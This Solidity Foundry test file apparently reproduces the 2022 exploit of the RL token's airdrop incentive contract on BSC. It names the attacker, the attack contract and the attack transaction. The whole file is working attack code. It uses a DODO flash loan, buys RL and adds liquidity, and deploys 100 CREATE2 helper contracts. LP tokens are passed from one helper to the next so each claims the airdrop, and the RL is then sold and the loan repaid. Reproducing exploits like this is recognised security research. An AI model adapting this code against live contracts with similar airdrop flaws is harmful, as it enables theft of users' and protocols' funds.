src/test/2022-10/RL_exp.sol

1//SPDX-License-Identifier: MIT
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// Report https://twitter.com/CertiKAlert/status/1576195971003858944
8// Attacker : 0x08e08f4b701d33c253ad846868424c1f3c9a4db3
9// Attack Contract : 0x5EfD021Ab403B5b6bBD30fd2E3C26f83f03163d4
10// Vulnerable Contract : https://bscscan.com/address/0x4bbfae575dd47bcfd5770ab4bc54eb83db088888
11// Attack Tx  0xe15d261403612571edf8ea8be78458b88989cf1877f0b51af9159a76b74cb466
12interface IDODO {
13    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
14 
15    function _BASE_TOKEN_() external view returns (address);
16}
17 
18interface RLLpIncentive {
19    function distributeAirdrop(
20        address user
21    ) external;
22}
23 
24contract AirDropRewardContract {
25    IERC20 RL = IERC20(0x4bBfae575Dd47BCFD5770AB4bC54Eb83DB088888);
26    RLLpIncentive RLL = RLLpIncentive(0x335ddcE3f07b0bdaFc03F56c1b30D3b269366666);
27    IERC20 Pair = IERC20(0xD9578d4009D9CC284B32D19fE58FfE5113c04A5e);
28 
29    constructor() {
30        RL.transfer(address(this), 0);
31    }
32 
33    function airDropReward(
34        address receiver
35    ) external {
36        RLL.distributeAirdrop(address(this));
37        RL.transfer(receiver, RL.balanceOf(address(this)));
38        Pair.transfer(receiver, Pair.balanceOf(address(this)));
39    }
40}
41 
42contract ContractTest is Test {
43    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
44    IERC20 RL = IERC20(0x4bBfae575Dd47BCFD5770AB4bC54Eb83DB088888);
45    RLLpIncentive RLL = RLLpIncentive(0x335ddcE3f07b0bdaFc03F56c1b30D3b269366666);
46    IDODO dodo = IDODO(0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE);
47    IERC20 Pair = IERC20(0xD9578d4009D9CC284B32D19fE58FfE5113c04A5e);
48    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
49    address[] public contractAddress;
50 
51    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
52 
53    function setUp() public {
54        cheats.createSelectFork("bsc", 21_794_289);
55    }
56 
57    function testExploit() external {
58        emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);
59 
60        USDT.approve(address(Router), ~uint256(0));
61        RL.approve(address(Router), ~uint256(0));
62        Pair.approve(address(Router), ~uint256(0));
63        airDropContractFactory();
64        //change timestamp to pass check
65        cheats.warp(block.timestamp + 24 * 60 * 60);
66        dodo.flashLoan(0, 450_000 * 1e18, address(this), new bytes(1));
67 
68        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
69    }
70 
71    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
72        buyRLAndAddLiquidity();
73        //claimAirDrop
74        for (uint256 i = 0; i < contractAddress.length; i++) {
75            Pair.transfer(contractAddress[i], Pair.balanceOf(address(this)));
76            (bool success,) = contractAddress[i].call(abi.encodeWithSignature("airDropReward(address)", address(this)));
77            require(success);
78        }
79 
80        removeLiquidityAndSellRL();
81        USDT.transfer(msg.sender, 450_000 * 1e18);
82    }
83 
84    function buyRLAndAddLiquidity() public {
85        address[] memory path = new address[](2);
86        path[0] = address(USDT);
87        path[1] = address(RL);
88        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
89            150_000 * 1e18, 0, path, address(this), block.timestamp
90        );
91 
92        Router.addLiquidity(
93            address(USDT),
94            address(RL),
95            USDT.balanceOf(address(this)),
96            RL.balanceOf(address(this)),
97            0,
98            0,
99            address(this),
100            block.timestamp
101        );
102    }
103 
104    function removeLiquidityAndSellRL() public {
105        Router.removeLiquidity(
106            address(USDT), address(RL), Pair.balanceOf(address(this)), 0, 0, address(this), block.timestamp
107        );
108 
109        address[] memory path = new address[](2);
110        path[0] = address(RL);
111        path[1] = address(USDT);
112        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
113            RL.balanceOf(address(this)), 0, path, address(this), block.timestamp
114        );
115    }
116 
117    function airDropContractFactory() public {
118        address _add;
119        bytes memory bytecode = type(AirDropRewardContract).creationCode;
120        for (uint256 _salt = 0; _salt < 100; _salt++) {
121            assembly {
122                _add := create2(0, add(bytecode, 32), mload(bytecode), _salt)
123            }
124            contractAddress.push(_add);
125        }
126    }
127}